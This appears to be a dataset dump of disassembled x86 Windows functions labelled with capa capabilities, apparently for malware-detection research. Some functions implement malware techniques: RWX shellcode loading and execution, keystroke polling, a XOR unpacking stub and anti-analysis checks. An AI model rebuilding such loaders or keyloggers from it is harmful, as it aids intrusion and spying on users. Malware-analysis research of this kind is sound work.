joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a15c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [ebp + 0xc]
mov word [ebp + 0xc], ax
mov ebx, 0x19826993
mov eax, ebx
mul ebx
mov dword [ebp - 0x10], eax
mov ebx, eax
xor esi, esi
mov eax, ebx
mul ebx
mov dword [ebp - 0x14], eax
mov ebx, eax
mov word [ebp - 0xc], 0
jmp 0x40a272
mov eax, ebx
xor eax, ebx
mov ebx, eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.00405066
pop ecx
mov edx, eax
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
jne 0x40a1b3
mov byte [ebp - 2], 0
jmp 0x40a1dd
call fcn.0040ddd8
mov dword [ebp - 0x18], eax
mov eax, 0x7fff
mov edi, 7
movzx edx, byte [ebp - 1]
mov ecx, edi
sub ecx, edx
cdq
idiv ecx
mov ecx, eax
mov eax, dword [ebp - 0x18]
cdq
idiv ecx
mov edx, eax
mov byte [ebp - 2], dl
mov eax, dword [ebp + 8]
mov al, byte [esi + eax]
cmp al, 0x70
jb 0x40a1fc
cmp al, 0x7f
ja 0x40a1fc
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, dword [ebp + 8]
movzx eax, byte [esi + eax]
cmp eax, 0xe2
jne 0x40a21b
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 8
push 0x90
lea eax, [ebp - 0xa]
push eax
call fcn.0040ddc0
movzx eax, byte [ebp - 1]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
lea eax, [ebp - 0xa]
movzx edx, byte [ebp - 2]
add eax, edx
push eax
call fcn.0040ddb4
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 6
lea eax, [ebp - 0xa]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.0040ddb4
add esp, 0x24
mov eax, ebx
add eax, ebx
mov ebx, eax
add esi, 6
inc word [ebp - 0xc]
movzx eax, word [ebp + 0xc]
dec eax
cmp esi, eax
jb 0x40a190
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
popal
nop
nop
jmp fcn.00401219
Function at 0x10001acb
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push 0x40
call fcn.1006841c
add esp, 4
mov dword [ebp - 4], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 0x10
rep stosd dword es:[edi], eax
mov ebx, dword [ebp - 4]
mov dword [ebp - 8], ebx
mov ebx, dword [ebp - 8]
mov dword [ebx], 0x40
mov dword [ebp - 8], esp
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
nop
nop
cmp dword [ebp - 8], esp
je 0x10001b2c
push 0x2c
push 0x4013daf
push 6
call fcn.10068410
add esp, 0xc
mov ebx, dword [ebp - 4]
add ebx, 8
mov dword [ebp - 8], ebx
mov ebx, dword [ebp - 8]
fild qword [ebx]
fstp qword [ebp - 0x10]
fld qword [ebp - 0x10]
fdiv qword [0x100838d0]
fstp qword [ebp - 0x18]
push 0
push 0
push 0
push 0x80000601
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push 2
mov ebx, 0x68
call fcn.10069610
add esp, 0x1c
push 0x80000601
push edx
push eax
push 1
mov ebx, 0x198
call fcn.10069520
add esp, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
call fcn.10001be5
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x10001ba4
push ebx
call fcn.10068422
add esp, 4
mov eax, dword [ebp - 0x28]
jmp 0x10001bac
push eax
mov ebx, dword [ebp - 4]
push ebx
call fcn.10068422
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret

Function at 0x100023a2
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 8]
mov eax, dword [eax]
test eax, eax
jle 0x10002406
add eax, 8
mov edi, eax
mov ebx, edi
push edi
xor al, al
pop esi
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov edi, eax
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x100023ef
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x100023de
xor ecx, eax
xor edx, ebx
dec edi
jne 0x100023cf
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop ecx
pop edx
pop edi
pop ebx
pop esi
leave
ret 4
Function at 0x100055f4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
je 0x1000563c
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.1006841c
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x1000564d
push ebx
call fcn.10068422
add esp, 4
pop eax
mov dword [ebp - 4], eax
push getsockname
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x10005664
mov eax, 0x10081277
push eax
push 1
mov ebx, 0x194
call fcn.100696a0
add esp, 0x10
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
call fcn.10001d5e
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
push 1
push dword [ebp + 0x14]
push dword [ebp + 0xc]
call fcn.100057cd
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], esp
push 0x40
push 0x1000
push 0x64
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x100056e1
push 0x14e
push 0x4013e10
push 6
call fcn.10068410
add esp, 0xc
mov dword [ebp - 0x14], eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0xa0000101
push 0
push 0x10083ef5
push 3
mov ebx, 0x914
call fcn.1006a1d0
add esp, 0x28
push dword [ebp - 8]
push dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
call dword [ebp - 0x14]
mov dword [ebp - 0x18], esp
push 0x8000
push 0
push dword [ebp - 0x14]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x10005760
push 0xa61
push 0x4013e10
push 6
call fcn.10068410
add esp, 0xc
mov dword [ebp - 0x18], esp
push 0x8000
push 0
push dword [ebp - 0x10]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x10005796
push 0xa8d
push 0x4013e10
push 6
call fcn.10068410
add esp, 0xc
mov eax, dword [ebp - 4]
test eax, eax
je 0x100057b0
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.1006841c
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x100057b5
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x100057c6
push ebx
call fcn.10068422
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0x14
Function at 0x10007a93
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
push dword [ebp + 8]
xor eax, eax
call dword [0x113f0038]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10007ad6
push 0x19
push 0x4013dea
push 6
call fcn.10068410
add esp, 0xc
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x184
call fcn.100696b0
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10007b0c
push ebx
call fcn.10068422
add esp, 4
pop eax
mov dword [ebp - 8], eax
fild dword [ebp - 4]
fstp qword [ebp - 0x10]
fld qword [ebp - 0x10]
fadd qword [0x100838e0]
fstp qword [ebp - 0x18]
mov dword [ebp - 0x1c], esp
fld qword [ebp - 0x18]
call fcn.10001bbe
push eax
push dword [ebp - 8]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x10007b5a
push 0x88
push 0x4013dea
push 6
call fcn.10068410
add esp, 0xc
mov eax, dword [ebp - 8]
test eax, eax
je 0x10007b76
push eax
mov ebx, eax
call fcn.10001590
inc eax
push eax
call fcn.1006841c
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x10007b7b
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10007b8c
push ebx
call fcn.10068422
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4

Function at 0x1000add9
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
push dword [ebp + 8]
xor eax, eax
call dword [0x113f0038]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x1000ae1c
push 0x2b
push 0x4013ef2
push 6
call fcn.10068410
add esp, 0xc
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
fadd qword [0x100838e0]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
call fcn.10001bbe
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x184
call fcn.100696b0
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x1000ae6f
push ebx
call fcn.10068422
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x1000aea5
push 0x84
push 0x4013ef2
push 6
call fcn.10068410
add esp, 0xc
mov eax, dword [ebp - 8]
test eax, eax
je 0x1000aec1
push eax
mov ebx, eax
call fcn.10001590
inc eax
push eax
call fcn.1006841c
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x1000aec6
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x1000aed7
push ebx
call fcn.10068422
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x1001328e
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.1001343e
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x1001338c
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x1001332f
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x10013372
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x10013346
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x10013361
test al, 0x40
je 0x10013358
mov ecx, dword [edi + 0x20]
jmp 0x1001335f
test al, 0x80
je 0x10013372
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x10013372
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x100132fe
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x1001883b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
je 0x10018883
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.1006841c
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x10018894
push ebx
call fcn.10068422
add esp, 4
pop eax
mov dword [ebp - 4], eax
push getsockname
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x100188ab
mov eax, 0x10081277
push eax
push 1
mov ebx, 0x194
call fcn.100696a0
add esp, 0x10
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
call fcn.10001d5e
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push dword [ebp + 0xc]
call fcn.100057cd
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], esp
push 0x40
push 0x1000
push 0x64
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x10018921
push 0x146
push 0x4013e0f
push 6
call fcn.10068410
add esp, 0xc
mov dword [ebp - 0x14], eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0xa0000101
push 0
push 0x100843d4
push 3
mov ebx, 0x914
call fcn.1006a1d0
add esp, 0x28
push dword [ebp - 8]
push dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
call dword [ebp - 0x14]
mov dword [ebp - 0x18], esp
push 0x8000
push 0
push dword [ebp - 0x14]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x100189a0
push 0xba6
push 0x4013e0f
push 6
call fcn.10068410
add esp, 0xc
mov dword [ebp - 0x18], esp
push 0x8000
push 0
push dword [ebp - 0x10]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x100189d6
push 0xbd2
push 0x4013e0f
push 6
call fcn.10068410
add esp, 0xc
mov eax, dword [ebp - 4]
test eax, eax
je 0x100189f0
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.1006841c
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x100189f5
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x10018a06
push ebx
call fcn.10068422
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10018ad9
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
mov dword [ebp - 4], 0
push eax
push ecx
push edx
push ebx
push esi
push edi
nop
nop
nop
push ebx
push ecx
push edx
mov eax, reloc.WS2_32.dll_getsockname
cpuid
shr ecx, 0x10
mov esi, ecx
nop
pop edx
pop ecx
pop ebx
nop
push ebx
push ecx
push edx
mov eax, getsockname
cpuid
shr edx, 0x18
shr ecx, 0x18
add edx, ecx
add esi, edx
nop
pop edx
pop ecx
pop ebx
nop
nop
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0x64]
add esi, eax
nop
mov eax, 1
cpuid
xor ebx, ebx
mov bl, al
add esi, ebx
nop
mov eax, 1
cpuid
xor ebx, ebx
mov bl, cl
add esi, ebx
nop
mov eax, 1
cpuid
xor ebx, ebx
mov bl, dl
add esi, ebx
nop
imul esi, esi, 0x666
mov dword [ebp - 4], esi
nop
pop edi
pop esi
pop ebx
pop edx
pop ecx
pop eax
mov eax, dword [ebp - 4]
jmp 0x10018b76
mov esp, ebp
pop ebp
ret
Function at 0x1001a9a9
Capabilities:
Contain obfuscated stackstrings
Decode data using base64 via vbmi lookup table
Encode data using base64
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 0x84
push ebx
mov ebx, dword [esp + 0x98]
push esi
xor ecx, ecx
xor esi, esi
xor edx, edx
push edi
mov dword [esp + 0xc], 0x7f7f7f7f
mov dword [esp + 0x10], 0x7f7f7f7f
mov dword [esp + 0x14], 0x7f7f7f7f
mov dword [esp + 0x18], 0x7f7f7f7f
mov dword [esp + 0x1c], 0x7f7f7f7f
mov dword [esp + 0x20], 0x7f7f7f7f
mov dword [esp + 0x24], 0x7f7f7f7f
mov dword [esp + 0x28], 0x7f7f7f7f
mov dword [esp + 0x2c], 0x7f7f7f7f
mov dword [esp + 0x30], 0x7f7f7f7f
mov dword [esp + 0x34], 0x3e7f7f7f
mov dword [esp + 0x38], 0x3f7f7f7f
mov dword [esp + 0x3c], 0x37363534
mov dword [esp + 0x40], 0x3b3a3938
mov dword [esp + 0x44], 0x7f7f3d3c
mov dword [esp + 0x48], 0x7f7f407f
mov dword [esp + 0x4c], 0x201007f
mov dword [esp + 0x50], 0x6050403
mov dword [esp + 0x54], 0xa090807
mov dword [esp + 0x58], 0xe0d0c0b
mov dword [esp + 0x5c], 0x1211100f
mov dword [esp + 0x60], 0x16151413
mov dword [esp + 0x64], 0x7f191817
mov dword [esp + 0x68], 0x7f7f7f7f
mov dword [esp + 0x6c], 0x1c1b1a7f
mov dword [esp + 0x70], 0x201f1e1d
mov dword [esp + 0x74], 0x24232221
mov dword [esp + 0x78], 0x28272625
mov dword [esp + 0x7c], 0x2c2b2a29
mov dword [esp + 0x80], 0x302f2e2d
mov dword [esp + 0x84], 0x7f333231
mov dword [esp + 0x88], 0x7f7f7f7f
test ebx, ebx
je 0x1001abf6
mov edi, dword [esp + 0x9c]
mov edi, edi
mov eax, ebx
sub eax, edx
cmp eax, 2
jb 0x1001aaf3
cmp byte [edx + edi], 0xd
jne 0x1001aaf3
cmp byte [edx + edi + 1], 0xa
je 0x1001ab2c
mov al, byte [edx + edi]
cmp al, 0xa
je 0x1001ab2c
cmp al, 0x3d
jne 0x1001ab08
inc ecx
cmp ecx, 2
ja 0x1001ac04
cmp al, 0x7f
ja 0x1001ac04
movzx eax, al
mov al, byte [esp + eax + 0xc]
cmp al, 0x7f
je 0x1001ac04
cmp al, 0x40
jae 0x1001ab2b
test ecx, ecx
jne 0x1001ac04
inc esi
inc edx
cmp edx, ebx
jb 0x1001aadd
test esi, esi
je 0x1001abf6
mov ecx, dword [esp + 0x98]
lea eax, [esi + esi*2]
mov esi, dword [esp + 0x94]
lea eax, [eax*2 + 7]
shr eax, 3
test esi, esi
je 0x1001ac15
cmp dword [ecx], eax
jb 0x1001ac15
xor eax, eax
xor ebx, ebx
push ebp
mov ebp, 3
mov dword [esp + 0x90], eax
test edx, edx
je 0x1001abe5
lea esp, [esp]
mov al, byte [edi]
cmp al, 0xd
je 0x1001abe1
cmp al, 0xa
je 0x1001abe1
movzx eax, al
mov cl, byte [esp + eax + 0x10]
xor eax, eax
cmp cl, 0x40
sete al
shl ebx, 6
sub ebp, eax
movzx eax, cl
mov ecx, dword [esp + 0x90]
and eax, 0x3f
inc ecx
or ebx, eax
mov dword [esp + 0x90], ecx
cmp ecx, 4
jne 0x1001abe1
xor eax, eax
mov dword [esp + 0x90], eax
test ebp, ebp
je 0x1001abcc
mov eax, ebx
shr eax, 0x10
mov byte [esi], al
inc esi
cmp ebp, 1
jbe 0x1001abd9
mov eax, ebx
shr eax, 8
mov byte [esi], al
inc esi
cmp ebp, 2
jbe 0x1001abe1
mov byte [esi], bl
inc esi
inc edi
dec edx
jne 0x1001ab7d
sub esi, dword [esp + 0x98]
mov eax, dword [esp + 0x9c]
pop ebp
mov dword [eax], esi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x84
ret 0x10
pop edi
pop esi
mov eax, 0xfffffffe
pop ebx
add esp, 0x84
ret 0x10
pop edi
pop esi
mov dword [ecx], eax
or eax, 0xffffffff
pop ebx
add esp, 0x84
ret 0x10
Function at 0x1001b662
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
call fcn.1001b7a5
mov dword [ebp - 4], eax
fild dword [ebp - 4]
fstp qword [ebp - 0x10]
fld qword [ebp - 0x10]
fsub qword [0x1008456a]
fstp qword [ebp - 0x18]
mov dword [ebp - 0x1c], esp
lea eax, [ebp - 8]
push eax
push 0x40
push 0x12
fld qword [ebp - 0x18]
call fcn.10001bbe
push eax
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x1001b6d3
push 0x3f
push 0x4013eb0
push 6
call fcn.10068410
add esp, 0xc
fild dword [ebp - 4]
fstp qword [ebp - 0x10]
fld qword [ebp - 0x10]
fsub qword [0x1008456a]
fstp qword [ebp - 0x18]
push 0x12
fld qword [ebp - 0x18]
call fcn.10001bbe
push eax
call fcn.100066d2
mov dword [ebp - 0x1c], eax
mov eax, 0x10084572
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
call fcn.1000349a
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x1001b71f
push ebx
call fcn.10068422
add esp, 4
mov eax, dword [ebp - 0x24]
xor ecx, ecx
test eax, eax
je 0x1001b72b
mov ecx, dword [eax + 4]
push ecx
add eax, 8
push eax
mov eax, dword [ebp - 0x1c]
xor ebx, ebx
test eax, eax
je 0x1001b73c
mov ebx, dword [eax + 4]
add eax, 8
push eax
cmp ebx, ecx
mov eax, 1
jne 0x1001b753
dec eax
test ecx, ecx
je 0x1001b753
call fcn.1001b1e4
add esp, 0xc
test eax, eax
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x1001b773
push ebx
call fcn.10068422
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x1001b783
push ebx
call fcn.10068422
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x1001b797
mov eax, 0
jmp 0x1001b7a1
mov eax, 1
jmp 0x1001b7a1
mov esp, ebp
pop ebp
ret
Function at 0x10027686
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.10027836
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x10027784
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x10027727
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x1002776a
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x1002773e
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x10027759
test al, 0x40
je 0x10027750
mov ecx, dword [edi + 0x20]
jmp 0x10027757
test al, 0x80
je 0x1002776a
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x1002776a
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x100276f6
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x1002a337
Capabilities:
Check for time delay via gettickcount
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], esp
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
cmp dword [ebp - 4], esp
je 0x1002a36c
push 0x24
push 0x4010faa
push 6
call fcn.10068410
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x1002a432
mov dword [ebp - 4], esp
xor eax, eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
nop
nop
cmp dword [ebp - 4], esp
je 0x1002a3a2
push 0x6d
push 0x4010faa
push 6
call fcn.10068410
add esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [0x113efbd0]
cmp dword [ebp - 0xc], eax
jne 0x1002a432
cmp dword [0x113efdb4], 0
jne 0x1002a3e1
push 0
mov ebx, 0x308
call sub.KERNEL32.dll_GetTickCount
add esp, 4
mov dword [0x113efdb4], eax
mov eax, 1
jmp 0x1002a43c
push 0
mov ebx, 0x308
call sub.KERNEL32.dll_GetTickCount
add esp, 4
mov dword [ebp - 0xc], eax
fild dword [ebp - 0xc]
fstp qword [ebp - 0xc]
fld qword [ebp - 0xc]
fild dword [0x113efdb4]
fstp qword [ebp - 0x14]
fsub qword [ebp - 0x14]
fstp qword [ebp - 0x1c]
fld qword [ebp - 0x1c]
fsub qword [0x100844cf]
fcomp qword [0x10083b4e]
fnstsw ax
test ah, 0x41
jne 0x1002a432
mov dword [0x113efdb4], 0
mov eax, 0
jmp 0x1002a43c
mov esp, ebp
pop ebp
ret 4